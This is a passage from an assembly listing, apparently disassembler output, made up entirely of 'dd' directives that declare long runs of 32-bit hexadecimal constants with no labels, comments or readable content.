		dd 0B67E41h, 0D732ED0Eh, 8B22CF5Bh, 520C0200h, 9F5614A2h
		dd 55D800CDh, 9419B89Dh, 0E404972Eh, 60E7D543h,	40676EC2h
		dd 25D3B28h, 0F45FD236h, 0C840A485h, 3FF04840h,	9DB79E07h
		dd 0DC90F211h, 8D2755h,	1DCC2C10h, 52495A14h, 3D04560h
		dd 5CF624h, 2F10B350h, 0EC9AE57h, 0DAECE406h, 0C054E8h
		dd 9B5811EEh, 0F28DBDACh, 68D5B200h, 0BBEC2603h, 0F55F0045h
		dd 1FC56448h, 0C200FB93h, 0BAF38B27h, 0E8E534h,	0CE71E58h
		dd 145BC8C0h, 0EA6AAB0Fh, 0B2A4C04Eh, 7126E951h, 0DF47003Fh
		dd 9A1206C6h, 7800F4D8h, 0FF2CE49Bh, 0FE2107h, 0E69DA360h
		dd 8F289554h, 0A50BB200h, 0FBB558DFh, 0B8EE058Bh, 0C02B0829h
		dd 0D7BDC1FFh, 0F820A600h, 89CF4916h, 28E4009Eh, 0EBE5AC39h
		dd 0D475633Fh, 629D1200h, 0DA9498C5h, 70F80031h, 971408C2h
		dd 0B1644DBh, 4401D45Fh, 6B0F02BCh, 7762FFCh, 0DC7E698h
		dd 1857030Ch, 0D65D06D0h, 0D4A6EB0Fh, 9BF740F0h, 569B2B0h
		dd 38B9E0A8h, 0BE9AC05Eh, 72794633h, 0BB8C771Fh, 607D058Fh
		dd 2BCAAF1Dh, 55EC0086h, 315911Ch, 3B1C1F12h, 78C017FBh
		dd 72FFA7E0h, 0DA200DBh, 1396CD65h, 0D0005B07h,	59E5414Dh
		dd 73DADCC4h, 0E0C700F4h, 3D89E384h, 467FA45Dh,	6917C01h
		dd 0A922C378h, 1E28902Eh, 0A300BD30h, 95B45526h, 0B0B25229h
		dd 0AA4A00C6h, 0A040FB8Ah, 3B000180h, 2D0F7A9Ah, 0DA6C8Ch
		dd 0E3618121h, 0E8597818h, 19731316h, 0F20908Eh, 34E0AF0Bh
		dd 6C888587h, 0CCB2F8ACh, 0EB60DD19h, 0D6272E78h, 109298DCh
		dd 1895B177h, 3CE77E40h, 7907178Ch, 0CCC1783Ch,	91E0A221h
		dd 0E04D5874h, 40362524h, 33B13B8h, 640DCCF3h, 9FE08278h
		dd 5D768696h, 7B45C01h,	0F109A2AFh, 96B0CA2Fh, 0DA8078B3h
		dd 1ADC7665h, 49DF0C00h, 0A1815BC0h, 35710Fh, 0C7985CD5h
		dd 32C45FAEh, 0C2769D00h, 93BB69D6h, 88860166h,	0EE70E362h
		dd 0C202A81h, 0CB2D8Eh,	0D56124E9h, 0C766B6Dh, 803AD23Ah
		dd 91CD09BAh, 0D4390E17h, 4A7A3A30h, 0DE70900Fh, 23881BC4h
		dd 26141D8Fh, 298540E4h, 42D71066h, 0EF7C900h, 82DF7138h
		dd 0A89395EFh
		dd 6F8C8F0h, 8C072400h,	942696A9h, 0C3A60704h, 77ED01BFh
		dd 0E925005Dh, 13004753h, 772D7133h, 87C4FFh, 761F1832h
		dd 211B4CD5h, 8AE63EE8h, 0EBE8A713h, 498174BCh,	6C23E108h
		dd 3A3F8080h, 981ACDh, 0FFB5EBC5h, 0C50D0C6h, 12763408h
		dd 3B160180h, 2AAB9DD9h, 379088h, 0F8568822h, 5DA9D378h
		dd 2F710A3Dh, 67C807DCh, 9B430048h, 41D44B46h, 0FA0662ECh
		dd 0EB6650CAh, 0F0048711h, 3F619404h, 0F18AE910h, 0EA4AD730h
		dd 43591DFAh, 13D0C0CAh, 33A20469h, 0E8EB7A06h,	4529F2FEh
		dd 512A3096h, 0BF72D813h, 8938FA00h, 0F863DCh, 0B7949C49h
		dd 4ED750FDh, 97E83Dh, 8A51346Fh, 0B010F130h, 0DC84022Ah
		dd 8347B39Eh, 4F4A1AC0h, 42AD0A00h, 0EEA86332h,	0BC7B074Eh
		dd 433345F1h, 79807C6Bh, 2D00F5C2h, 167EB3F2h, 7AE817h
		dd 42020C86h, 0F7A0E909h, 14543100h, 0A1434BA6h, 0CD400BB2h
		dd 0D5DA7Eh, 62F0F8F2h,	506E0F11h, 0D8E0CA67h, 0D53ADF6Ch
		dd 9F41F00h, 0B094E7B3h, 0BF4F303Ch, 0EC3B4920h, 0B873FB00h
		dd 3828DF51h, 0A0A8A04Eh, 75D3758Eh, 0F00F008Dh, 5D42DBB7h
		dd 2001F5AFh, 5C656ED7h, 0CEE44E59h, 7F7C00E9h,	0DBAE9C0Eh
		dd 0AB74D83Eh, 9AEA0A00h, 98A917D0h, 854D4815h,	77367900h
		dd 0C93D60F3h, 0E269320Eh, 151D80A9h, 1070B11h,	0C734C892h
		dd 0F4C55E90h, 0E77F64E3h, 47C9C407h, 0EA64FA70h, 9F2C82BCh
		dd 0F8490091h, 0A932AE9Ah, 18F05800h, 8814FCDAh, 1D69384Ch
		dd 8B027F00h, 4B445D68h, 49FB510Eh, 2ADCC018h, 7840B31h
		dd 0A088CDD3h, 39C9A0E8h, 6348D745h, 5E950330h,	0DAD68B32h
		dd 0F98940C6h, 61F6058Ah, 0C0B249B5h, 0F47409C5h, 46716C00h
		dd 504A8D6h, 0C5692E18h, 8B2A004Bh, 3EE59983h, 0EAF44B1Ch
		dd 90E8A841h, 13E8090Fh, 0B69D1214h, 40001CF1h,	5AD0245Fh
		dd 893F3654h, 0BFAC8019h, 2F8DC5BEh, 0C20E164Ah, 0C00EB3Eh
		dd 55B7D837h, 35FE8Eh, 0FD54DA8Bh, 86098233h, 5A88100h
		dd 3B605998h, 0E949000Eh, 0F6326AD5h, 6D0F90ABh, 0A0E577BBh
		dd 8C1845CDh, 904Fh, 0D05FDEBFh, 0EDA29B7Ch, 0E05B490Eh
		dd 221A004Eh, 0D1CA6Eh,	0CC9ED35Ch, 0CB0DF23h, 70785877h
		dd 34609705h, 9841D88Dh, 329FEC89h, 21B020h, 0DE4EB83Bh
		dd 0AF252E30h, 9CF7C807h, 40B0E854h, 13766E1h, 2773E376h
		dd 208DAC6Eh, 0D23EA712h, 72B48C65h, 1229ADh, 0E9C1D699h
		dd 336D02CDh, 0E08F04Dh, 80391E0Fh, 516A5337h, 2CDA095Eh
		dd 756652h, 0CD32624Ah,	0AC9000B7h, 46FAB2CBh, 9900DB3Eh
		dd 5C4F66EBh, 6B38E9Bh,	706D1B06h, 0D200593Dh, 59FE30DCh
		dd 0C0CDE47Ah, 0F057ED48h, 13F8EFCCh, 0C707E00Bh, 2464F82Dh
		dd 0B48C94h, 0B5176FAFh, 41011235h, 2C1C0BDFh, 0B7E4C990h
		dd 78CB6070h, 0E1DBD359h, 689BF61Eh, 7620548h, 40EDA85Fh
		dd 86909D8Eh, 50E4FE00h, 622C18B7h, 92CF0BB5h, 0EE807B28h
		dd 51B61F37h, 0C8D5D600h, 9AE7D2B2h, 105700F9h,	0E3AECAC5h
		dd 0B4007041h, 0C936DD7Eh, 0FA736034h, 2744011Ch, 2CD84D47h
		dd 0E1B3209Fh, 760EB200h, 97D33F4Ah, 0DD320164h, 78E59CC7h
		dd 6E0EE02h, 91016822h,	82614FA3h, 0B9B874BFh, 109CD381h
		dd 0D869956Bh, 200954BEh, 11FD91h, 0B82C292Fh, 40895819h
		dd 0C83FA00h, 0CCC3BAA9h, 0E8C684Ch, 203E1EAFh,	88D0FC72h
		dd 9CE64876h, 9E89077Eh, 403FF408h, 29FEB899h, 9A8CE213h
		dd 8E008412h, 0EBB67950h, 0C0CE0043h, 7F8328A4h, 7001B593h
		dd 71D87BE7h, 14261DC7h, 0F47F84h, 0B3E02279h, 0A680019h
		dd 0BF4271B6h, 0A100D2D0h, 8EF83049h, 76CC4FEh,	4AF7028Ch
		dd 19C6EE5h, 1F96DDD0h,	7E3B00DCh, 19A71ED3h, 2C037A34h
		dd 0BA5E9481h, 691E7DA0h, 0BD5D413Dh, 3C00FB9h,	6F9D2048h
		dd 0E9A9A3C4h, 12E17464h, 0A7324Bh, 77EB6960h, 3F094D8Fh
		dd 0D4DA15h, 8BCEC4ECh,	0C9EED7h, 69796D6h, 280144A2h
		dd 30436904h, 0E9C1732Ah, 63CC93D1h, 0F2E400B4h, 94FEAC8h
		dd 471F51A8h, 21B09E14h, 89FCC0h, 885F8D05h, 45222106h
		dd 135C5BFCh, 3F6600EDh, 0A935650Ah, 0D5F40078h, 0D9AB1E4Eh
		dd 0F000E322h, 73256706h, 0BECC70Dh, 0A192885Ch, 4CF4303h
		dd 7752FE8h, 37205800h,	2B6632A3h, 0FC72D9h, 601D292Eh
		dd 9FDB85F5h, 3002B409h, 71302024h, 55BD5Dh, 0CB3C9588h
		dd 0A3443DC5h, 6400B775h, 0CD632C8Ah, 601A98h, 77E29BCFh
		dd 4E4893D7h, 52ADC91Dh, 34A3C740h, 7CB1F55Ah, 0CCEA00E9h
		dd 0C413A5F0h, 0E1EA0DBh, 0FFC26F04h, 6865FECFh, 5D17E304h
		dd 0CA0E404Ch, 0C8470587h, 0E1834077h, 40F961BBh, 623CE308h
		dd 17061780h, 401487B9h, 0B0C07150h, 1D3BA8FDh,	30FF28BFh
		dd 84AFD900h, 3F5B6ABBh, 0BECD0092h, 0A990564Dh, 0F401C249h
		dd 0B22ADAE2h, 5887B6FBh, 0B5DCC8AEh, 0DB4C101Dh, 0CE92840h
		dd 0EC572DA6h, 0EA057208h, 6602CF0Bh, 602B6808h, 68870627h
		dd 136E2900h, 0EC1A8441h, 0F48A3099h, 0E5A740B8h, 447A6003h
		dd 80344EC4h, 0FA2B2EB2h, 87290004h, 762CFEDEh,	0E3006361h
		dd 16343F26h, 9F83E1h, 0B26AADD7h, 0BE9AA114h, 768A0A00h
		dd 0ACF722AAh, 80B00F9h, 83D0CA23h, 0DB07585Eh,	0FB75805Dh
		dd 0D6EB4930h, 77CD0F65h, 0E0E00E41h, 0A2BF5DE1h, 0A6C52105h
		dd 6780DF49h, 0AD87Ch, 1A104C2Ch, 0F9262F8Fh, 0D503BF00h
		dd 0FD12DF5Ah, 950B00A5h, 7D4AE940h, 600D13Bh, 0C88BFE0Ch
		dd 4E323Ch, 0BBF25326h,	0E42029E1h, 3075EF02h, 80EC6F4Ah
		dd 0B57CC29Ch, 0DE8917DBh, 19AA1832h, 0C7004FEDh, 0CEDD8A3Eh
		dd 24F66235h, 805C21CCh, 4BF3E6FDh, 0A01C690Bh,	9840CAE9h
		dd 6FB734B3h, 7818C039h, 41FA19CCh, 523C497Ch, 6B760F61h
		dd 71A80043h, 154B036Ch, 0DC106011h, 4EBEB400h,	613C9346h
		dd 0F60FB5E4h, 1A9BFA2h, 32CC1DE3h, 0EB62883h, 1806DFFBh
		dd 2A870DE9h, 86500399h, 66BA9C61h, 0E6A66801h,	69071DF0h
		dd 18A770D4h, 0A04CBFB6h, 4264436Ah, 8B412F80h,	80DD1ABDh
		dd 5D82D658h, 0CE5CFF4h, 0F2970D41h, 5F038F18h,	0DD8CBB27h
		dd 0C2EAD342h, 0B694A02Ch, 9A4E253h, 0D0E73368h, 9C2278AEh
		dd 4881671Eh, 806A237h,	802B719Eh, 0BE308A6Ch, 0A8C0C812h
		dd 7E8C4E2h, 431E6CE0h,	0A4819F67h, 0F58DCC77h,	0F6AA7820h
		dd 0CC135427h, 0F78730B4h, 0B961C918h, 59C03FF4h, 0E629DC23h
		dd 0D8D548AAh, 0BF25C20Eh, 81211B8Ch, 4229D300h, 0C02FE644h
		dd 11EC005Dh, 77EAA699h, 84A12C10h, 23470D7h, 21AC4D54h
		dd 0B2A45B00h, 0DF057FC8h, 3809CCC0h, 740F0121h, 0A05541A4h
		dd 0FC9449BAh, 37B331E6h, 84E5D7B0h, 6E418128h,	0AC478F84h
		dd 0BF00E4CBh, 0E1FD563h, 200D6C66h, 0A021C88Ch, 0F900FC70h
		dd 4A63D011h, 0EE69DE38h, 0BD8A0A89h, 30ACE43Ah, 19E243D9h
		dd 7F277606h, 0F7812A3h, 616E9BE6h, 0BB2394D5h,	0F829DA00h
		dd 86BF25AAh, 3A831644h, 0E30329D1h, 0EC68A0E6h, 5880BD90h
		dd 0A1F74A31h, 3AD86487h, 0DD6D0174h, 29E6D267h, 29E2DE61h
		dd 18D4A411h, 0B0A40859h, 0F706FC8h, 17A40172h,	47DD100Eh
		dd 0E6B88719h, 20E922BBh, 5C01A1BCh, 379E00CAh,	622DEEECh
		dd 0C600203Ah, 3464F8F0h, 408A0Ch, 575A48DAh, 67397CEFh
		dd 0D489BF00h, 0AE5B3C2Dh, 34C10086h, 1D9A7578h, 0DC3AB772h
		dd 0F4459FD5h, 49690FC0h
		dd 0EEECAC41h, 833C0037h, 68C91AFFh, 56387F08h,	0E90F00C3h
		dd 0B811F50Ah, 0BA5700ABh, 642893A8h, 3006030h,	4D1EECE8h
		dd 3BF86F9h, 4F1C378Eh,	0D3D85532h, 6B1EF6B3h, 0F70052EBh
		dd 5C480C0h, 0C8678B1h,	315309B8h, 0BF014A9Ch, 0C758475Dh
		dd 0C0DB255Ah, 0D415044h, 0BC0869FCh, 0B0040C31h, 1025AF30h
		dd 61BA54h, 0C7729E58h,	50552411h, 85A51B00h, 4DC3B0A2h
		dd 540A0CE0h, 0FB296ED5h, 0A8302284h, 9611DF42h, 42F216Ah
		dd 4863C51h, 0CD424E6Bh, 3025939h, 22802412h, 26231007h
		dd 28413789h, 33123968h, 113BC312h, 11106B29h, 4F102145h
		dd 8E350053h, 58CC5FFAh, 1BDCF1B4h, 6F481F73h, 0D8A80DAh
		dd 185F098Dh, 0CF3F2200h, 11FA7DF8h, 14372B7h, 73154B45h
		dd 30D70993h, 0DC0264B4h, 0CDF271E0h, 1CDF40DBh, 63D400B8h
		dd 14F3E870h, 0E900DE72h, 3C7401Ah, 0C4105h, 6B13770Fh
		dd 730A0660h, 0F5C4923Fh, 58844B00h, 0E481ECEh,	15C5C8Ah
		dd 2F857600h, 3049F4D5h, 0E858AD03h, 0C80D5B03h, 32EE986h
		dd 6A7F0E80h, 0ADC09095h, 99008A4Dh, 2998BEB8h,	5C109C1Fh
		dd 371232EBh, 0D3044012h, 5DE0F8A3h, 0A6DB263Bh, 0CB00008Bh
		dd 1480287Dh, 7531CCAh,	925643C3h, 23D070ECh, 2E3E60BDh
		dd 94958055h, 0D5C509Eh, 99851D04h, 5AAECF6Bh, 0F356EF00h
		dd 20F6B94Ch, 0A8B1A500h, 269E406Ah, 0C1591279h, 444400BBh
		dd 0FDFAE99Bh, 0A33CFF00h, 0B28C9EACh, 4A8B0009h, 0A0DD157Ch
		dd 45070644h, 12245E6Ah, 0F2605790h, 77A30CEh, 0EE3A7418h
		dd 2EF9E200h, 40B84481h, 0DA3E00CBh, 91362AC3h,	407D72Dh
		dd 0C4E03C90h, 0E2BB9640h, 29A001F6h, 3128513Bh, 0B8CCD88Eh
		dd 9ECB5300h, 228FAA09h, 2A5C018Bh, 10D1981h, 5033F842h
		dd 18CCD4EFh, 86D26303h, 0E0A72D11h, 1764AB0h, 6427714Eh
		dd 0EA9E29B6h, 22098880h, 0BF7EAE6Fh, 0DE00D278h, 27994382h
		dd 0BBDF7Dh, 0C7B0FDA2h, 8532D9Ch, 3EB20D01h, 0DD7650BCh
		dd 795DFAD0h, 88941F57h, 0E028D6h, 77245539h, 376813EDh
		dd 0A7D4B900h, 0E89379F8h, 387BB7h, 230F4A31h, 64E3A8E9h
		dd 0A4693C00h, 5E267D24h, 0BF7BE6h, 32EFBE34h, 13A1B90Fh
		dd 1EB49100h, 6B58CF9h,	734E02D6h, 0A21A9946h, 7942184Ah
		dd 1827F420h, 0CD00DC74h, 319AEDBCh, 3042DE57h,	5220ADDBh
		dd 0C1009997h, 0C5552337h, 90566D72h, 8D012A40h, 0AC6301F4h
		dd 5FD976FFh, 7EE6E07Bh, 0A3D08909h, 0D6480154h, 82C0600Ch
		dd 0E99C00CFh, 0FD554549h, 7F3FFED5h, 0D00800BCh, 0A8D3B9C8h
		dd 0E1BB00F4h, 54940EEAh, 0C12407DCh, 803CDA46h, 0A14CA71Ch
		dd 68CBDEEh, 0C2F77119h, 0DC03180Ch, 0ACD2063h,	0E212D88Fh
		dd 0AE85073Bh, 97B13192h, 5CC00C4h, 4400CB9Dh, 43A5261Bh
		dd 12A3969Ch, 7B756E7h,	30653F68h, 61276930h, 0E2BCE300h
		dd 0A3EBA121h, 27F7BF4h, 8749AF6Ah, 2C40F55Eh, 0EA15A43Ah
		dd 84FAC1h, 2B6E21A0h, 0F0F374h, 103E7886h, 0BE844ACEh
		dd 920034FAh, 16D754Bh,	880AB1h, 77178BC2h, 0ABD5FEC7h
		dd 6108D700h, 9BD0B309h, 1D4607C4h, 808A1B17h, 573A9FFDh
		dd 38033200h, 47D46D6Ch, 91420085h, 56999E35h, 6200F6E4h
		dd 9B2077A5h, 3DE59Ch, 0C49FC8Dh, 9F1544A1h, 0C30006ECh
		dd 0BD5CD81Bh, 3DF8B31Eh, 4080F6FBh, 5289187Dh,	80F9CF0h
		dd 52D42114h, 0BD97F842h, 0A80F602Ah, 0B5801FC5h, 19F0095Fh
		dd 0D2FBE400h, 0D7002B84h, 39D36605h, 0A4C308h,	3FAF0A01h
		dd 52B5B9BFh, 0A2F5D701h, 3B6FD82Fh, 65A8430h, 3218AB14h
		dd 880E103Ch, 765554h, 0A8C545B9h, 3C20F942h, 388330C7h
		dd 59580671h, 7CADC000h, 0A5D521DCh, 1C3EEC91h,	0C06C072Fh
		dd 59085D5Eh, 66040930h, 0F48AD121h, 3A8ACC6h, 0DD7CF5EBh
		dd 51D84C3Eh, 1F00C0C9h, 72A710C4h, 4BE334h, 0EF389339h
		dd 0E27EEB89h, 3AD37801h, 10855467h, 9C00FDCh, 5973D4D8h
		dd 807DC88Bh, 0B0D705BAh, 0D8115848h, 8D13DB00h, 0A078018Eh
		dd 0B2809E60h, 795AAF59h, 0B10C750h, 922910BDh,	0A613E82Fh
		dd 0F44126D6h, 0AB892E46h, 0BEC47831h, 0AED09B0h, 0E8193327h
		dd 9C80C2A4h, 3822BFAFh, 84C0EE00h, 7EC30903h, 14BC4C1Bh
		dd 0C902A106h, 233B70AFh, 922A9841h, 3932EB11h,	7580A3B7h
		dd 792BE21Eh, 9F50A25Bh, 0FB712DFCh, 4C173500h,	0F89EC034h
		dd 0B6160F98h, 1FD35AA2h, 79230084h, 99C8DE5Fh,	2C5C58h
		dd 0E18FD6A4h, 900A7Ch,	0D54DCA25h, 0DCBADD48h,	98267913h
		dd 0E9856D00h, 0E2F5B530h, 1B1900BEh, 39A50238h, 600BD5Fh
		dd 0F4620756h, 6E16B1h,	0FA65E5DAh, 0DB69ED33h,	0C197B600h
		dd 6A432956h, 0F9933BF2h, 0D4ADA780h, 0C8C72CAFh, 34243300h
		dd 4F68FBD2h, 668A00A1h, 0A9819132h, 0E000834Ch, 0CBA4A22Ah
		dd 0E9926Ch, 0A37AFC93h, 429A99EAh, 0C8541A28h,	1F007548h
		dd 0F5010D1Fh, 0B35BCDCAh, 0A530AFF1h, 0CE4E3949h, 0F7591E80h
		dd 0BE388E70h, 0F6D13A00h, 8B060883h, 44B30E57h, 0CAC1184Ah
		dd 70D31BA3h, 1A210D40h, 1CE1609h, 0C43AD0F5h, 0D5A4204Dh
		dd 8E8C6000h, 0AB4A8F57h, 16200AAFh, 0E0A1E9h, 4784177Ah
		dd 5B07D930h, 0ED8CCB93h, 1821E8A6h, 481D5D89h,	577643B4h
		dd 2CDFA803h, 0D0268215h, 0E08A3CF9h, 30B163DAh, 71D17AD3h
		dd 56B3F714h, 94ED7CA0h, 0B064B30Fh, 8BBDE0FBh,	396CE87h
		dd 5DD97015h, 2806352Ah, 0FCD3122Ch, 9380A1F2h,	0D540C00Ch
		dd 41091ED2h, 0DE5E8118h, 80DC5664h, 7CC55018h,	3EC97F28h
		dd 9D124D46h, 7C87CCh, 17AEA96Fh, 144920FFh, 6AAD11Ch
		dd 8001AD3h, 74C5A3ECh,	0DA92440h, 0C6B40588h, 0AEFC0029h
		dd 1DFCB055h, 0C3BD9101h, 1021F47Ch, 0CA895880h, 0A04EDA04h
		dd 0D992C500h, 875386E1h, 0E85A1423h, 0AB1E9844h, 97478126h
		dd 0EC08934Eh, 0C600D20Bh, 8711CB03h, 2E4581D4h, 1A48F5Bh
		dd 3BFEADD0h, 0D444DA10h, 394F2600h, 23EA20D4h,	17587E07h
		dd 6B6644h, 6FB5ED4h, 0E6006A3Eh, 2055635Bh, 3ABA4Dh, 7FD6BDA8h
		dd 8497A2D9h, 9BAEDD0Eh, 2AFFC0E8h, 4CAFC48h, 0A90ACC86h
		dd 7675807Bh, 9500DD7Ah, 0F44E94DCh, 369126h, 2286C1CAh
		dd 0C78110D3h, 7017498h, 0B494C0F0h, 0E87044F1h, 0E10E03DDh
		dd 0A2895285h, 8BC80AA3h, 0C87BB69Ch, 94F16C01h, 0C02B08E8h
		dd 0CE6420h, 79A10D2Fh,	4182CBD2h, 0A912C400h, 8C6B8718h
		dd 0BE6400F7h, 0FE17F995h, 422896C1h, 600BC07h,	0C06A9F4Dh
		dd 5C8C7Ch, 4FC96209h, 0D8C3C4B7h, 153A5809h, 0DD781055h
		dd 0B8C10047h, 438A04F7h, 3A0088BEh, 3B930D56h,	76CB8FA9h
		dd 0FBC1D01h, 8B03BCE7h, 4DA0F7BBh, 0A4060EA8h,	7F1FDC00h
		dd 0F3AB48F0h, 590F00DEh, 0E2ACC1C8h, 0CF24EC97h, 0E100FE3Bh
		dd 8F2C169Dh, 0F4C90EFh, 4FB3FFE8h, 4E074CA0h, 940028BAh
		dd 23EB65F7h, 7963C2Ah,	0BC998C11h, 251D2087h, 183F067Bh
		dd 0D36F00AFh, 3E6CA644h, 4CB9000Ch, 1A8FCBAh, 72034E2Dh
		dd 296AFD77h, 173EA8A4h, 0E6B7021Eh, 26F188A6h,	7ACCFA60h
		dd 44F9100h, 0D129BB33h, 5AD31D13h, 0F04000A4h,	8B59BDA6h
		dd 483C800h, 9656815Eh,	8C5C1F95h, 11530CE5h, 0EE375528h
		dd 1C9E477h, 0EFDA4F2h,	9B02ED40h, 0B959002Fh, 0DADE55F4h
		dd 0E601B629h, 0BF5A120Ah, 0A1FCD210h, 0D8AA0068h, 0E423763Bh
		dd 0EF076775h
		dd 0F34B7ECh, 9715606Eh, 0D41970h, 48DBA302h, 7C21FC2Eh
		dd 0BB00B7E8h, 7E989E1Ch, 0DEC005h, 4A30A96Ch, 29FEBDEDh
		dd 0B25ACD01h, 0E7BCB308h, 58180170h, 0D70004A3h, 0F02A821Ah
		dd 360040EBh, 9008FD91h, 0A8BCD628h, 172B51DCh,	0C65287h
		dd 46226C39h, 1802D2DCh, 359E6255h, 4FF58021h, 0E7A732h
		dd 5C116DEEh, 0FAF7F4C4h, 4800B3E2h, 0CF7751BEh, 9FA0B763h
		dd 0F6008650h, 6AC9298Dh, 4D626D7h, 404C8C64h, 3CCE091h
		dd 6557B104h, 60A4A20Fh, 70C25D25h, 72CDBD00h, 0B4E6B129h
		dd 0DB39617Ah, 0F7066094h, 1F082048h, 0A43E6B35h, 1E5026E6h
		dd 9A79F55h, 0DC8023C5h, 0AE385BBEh, 0A330B000h, 0B92E9547h
		dd 27597287h, 58006E17h, 0C5F6D344h, 0D11A5Ch, 69801B16h
		dd 5AA44Dh, 0F872390Dh,	0BE37C7B1h, 9266C90h, 0E301EFD1h
		dd 0B20CF0B7h, 0E8F7C7DBh, 0FD782310h, 20BD0706h, 0CE851AE2h
		dd 80F1F2A5h, 4D75A481h, 0C7B3B800h, 0BBBE6D38h, 5B140049h
		dd 0CC5DE1BFh, 6306C103h, 1BEF4547h, 0F24E0328h, 51C2CB53h
		dd 0ECAE88C0h, 7D853D00h, 9669CE13h, 97EA0075h,	0E7DC0232h
		dd 0DD012B5Eh, 0AA4620CBh, 0A02E5BE3h, 0D21339E1h, 205A07B4h
		dd 6204211h, 311ED98h, 0EB3A43C6h, 0AA8CD8Dh, 6E2AD785h
		dd 1500D881h, 34EDB750h, 15488AFh, 12D4204Fh, 40B429FDh
		dd 51B523B8h, 0C432AC2Eh, 901E8B80h, 933658h, 0FE78E287h
		dd 0E06F95F2h, 0B4526500h, 1CE42AEBh, 0B1B9007Ch, 0BFB5DC26h
		dd 0A80D730h, 0FE2A019Eh, 6BD1FAA6h, 89508094h,	0E07C0FE2h
		dd 1DCA0544h, 80581A43h, 5F11BB48h, 9351F201h, 0A3FAF369h
		dd 714D8887h, 361BA048h, 0CC00AB84h, 8E6CD408h,	12C04B7h
		dd 9645744Dh, 299D1F35h, 0D80500F8h, 81C28850h,	87CC1D02h
		dd 3F138140h, 0D499DD3Ch, 422EE891h, 0A800DE15h, 2D17B64Eh
		dd 14BD4873h, 724C2Ch, 70EB4935h, 9F00A66Bh, 0EFB338ABh
		dd 0B0FF9850h, 477E0020h, 0D3DBCD42h, 820004A6h, 6A3DA917h
		dd 5D67F5Dh, 0B81EEDE8h, 0CF12809Eh, 984D2DF8h,	1D943A14h
		dd 0D5C189C6h, 1DA4785Ch, 11B7E0h, 2AB4EE7Dh, 33B28496h
		dd 75F32D05h, 8801A464h, 1A620AD5h, 2C9CCFF8h, 31854D3h
		dd 1C4E1595h, 5F0DD6B8h, 0A89E1D1Eh, 188000BAh,	0C73FDC61h
		dd 99A0EA1h, 0CAE0E3C9h, 0A2C68A8Bh, 88984628h,	9CB95013h
		dd 14B468C0h, 0B7CF1C02h, 1794441h, 7D0C804Fh, 172622ABh
		dd 62004835h, 0A1BB53F5h, 7C1000B6h, 31A675E1h,	0EF004116h
		dd 0C6207678h, 0DEB922h, 0B30DF08Bh, 724CBB3Fh,	620073E0h
		dd 71E803ABh, 250215F2h, 838DEA2h, 1000C255h, 0CC3C8FC3h
		dd 0D78BF1h, 6D6ACDAEh,	0B06CBBE2h, 0FEDABE00h,	37691486h
		dd 0FCC00BEEh, 2480A036h, 6C9BB5B2h, 680E7C00h,	50B37B2Dh
		dd 5FCA00EDh, 0DB60B069h, 9700D958h, 0CE374ECDh, 0F6992Ch
		dd 0FBC22159h, 1802A83Eh, 0FE956700h, 897A5A6Bh, 367013BBh
		dd 2114805Ch, 230769Bh,	731C68B4h, 0E6AE0035h, 19C9DD2Dh
		dd 23254556h, 0D1E480C6h, 2793F4A8h, 4C802625h,	923B2CF0h
		dd 0D0062E07h, 8EA0CAE3h, 0E2B39111h, 694C06FFh, 109078BDh
		dd 8748620Eh, 475F200Bh, 0C8594h, 3374C841h, 581755B8h
		dd 2DE08907h, 9660CB7Eh, 0EAAA24h, 0C83F4645h, 3413209Ah
		dd 5F305903h, 98ABB5E1h, 0FEA5288Ah, 6FD10A8Eh,	0EB0F318h
		dd 5F448B8Dh, 9ADF8087h, 0B5002D96h, 52C653EFh,	2FC8354h
		dd 45F43CB3h, 74E00530h, 0DFE61B99h, 156F5E0Bh,	0D60400A3h
		dd 0E4E863h, 289436E9h,	2276FAAEh, 5EF19700h, 1CB15942h
		dd 74160081h, 4D6C1DCh,	0EA5CF690h, 0D70070F2h,	1FEBFEADh
		dd 0C01D5D60h, 125BB868h, 580004CCh, 2BA623BEh,	0EEA83725h
		dd 0C7400219h, 0C10EC4D0h, 64902043h, 8EEE8641h, 98495200h
		dd 0DA0CBA4Fh, 24257289h, 4E1B9h, 0A86406B3h, 95172A5Dh
		dd 2C00247Eh, 89E38A5Ah, 8E2200FEh, 1BB018AEh, 0A072C94h
		dd 0E8857C4h, 1980809Ah, 0DE69D49Bh, 229500F0h,	0E15731A8h
		dd 0B7F67368h, 44901579h, 16A3F605h, 0FFC0DE72h, 19B33h
		dd 405CF397h, 76118657h, 0FA2A6A05h, 8000D581h,	1EDF9F6Bh
		dd 638C2D43h, 0CC968083h, 15FB30DFh, 0AF12306Ch, 3400185Ah
		dd 3469C93h, 2DD92798h,	14836081h, 7A1670F1h, 3C826600h
		dd 0D04F71F6h, 39C6756Bh, 90002E12h, 5EECDAACh,	0A60060B4h
		dd 0A35FB69Dh, 2224F8h,	3CCC2825h, 0A004D440h, 3C90D09Fh
		dd 0D600C562h, 9C63D5D9h, 6503812h, 5DFE8188h, 8045E725h
		dd 0BE99112Ch, 0ECD0006Bh, 309C1E91h, 7E39E456h, 46C9008Ah
		dd 489413Ah, 4BFE007Ah,	0FCBEB9C3h, 930A0E98h, 88F863D1h
		dd 67A80380h, 0EFBC02E2h, 6DEBF4h, 8FCF4993h, 852FABBBh
		dd 3F6E2D01h, 6F109B36h, 0B0F44AD4h, 8F420F50h,	88C0EDDAh
		dd 22A283D9h, 45284Ch, 0CE4F7413h, 1336907Bh, 0DCD29Ah
		dd 24599343h, 0B700EF2Bh, 0B9E2A9F8h, 142B6DAh,	5C60BB90h
		dd 8BF57632h, 602F3436h, 880488h, 3895317Bh, 0AD2CE779h
		dd 0E5AED203h, 99F98C3Eh, 94F810F4h, 12A95BFCh,	0B414406Ch
		dd 237D6FFBh, 5D8E8B14h, 8644008Ah, 5483CC03h, 80D39C9Ah
		dd 0AEC1F95Bh, 6000BC7Ah, 5D56DE78h, 0A77315h, 0C8216EC7h
		dd 0BD7FF599h, 5500D0B8h, 0CC230B07h, 0FAC5462Eh, 4B14BAE5h
		dd 7F48478Ah, 0D32DE090h, 0C904AF4Bh, 0EB413C68h, 6F2C58C0h
		dd 5FD600A7h, 289A4285h, 0CA79E475h, 0E8AF80C0h, 0B8DF516Dh
		dd 27B200CAh, 69ECEB44h, 7C00C373h, 0B6D26A4Ah,	2C95A6E9h
		dd 0A6CB9B0h, 80E4E131h, 2D29A420h, 4D07B11Eh, 82A6AF22h
		dd 0C3D6D11h, 13465F4h,	99C003E7h, 0E41E7DAAh, 0A40049B7h
		dd 0F6E2E370h, 66F18Dh,	4DB6BA21h, 978E0AABh, 968F0826h
		dd 7FBEA700h, 0FBA836h,	0E406ACCh, 0DB75C747h, 67AC3A00h
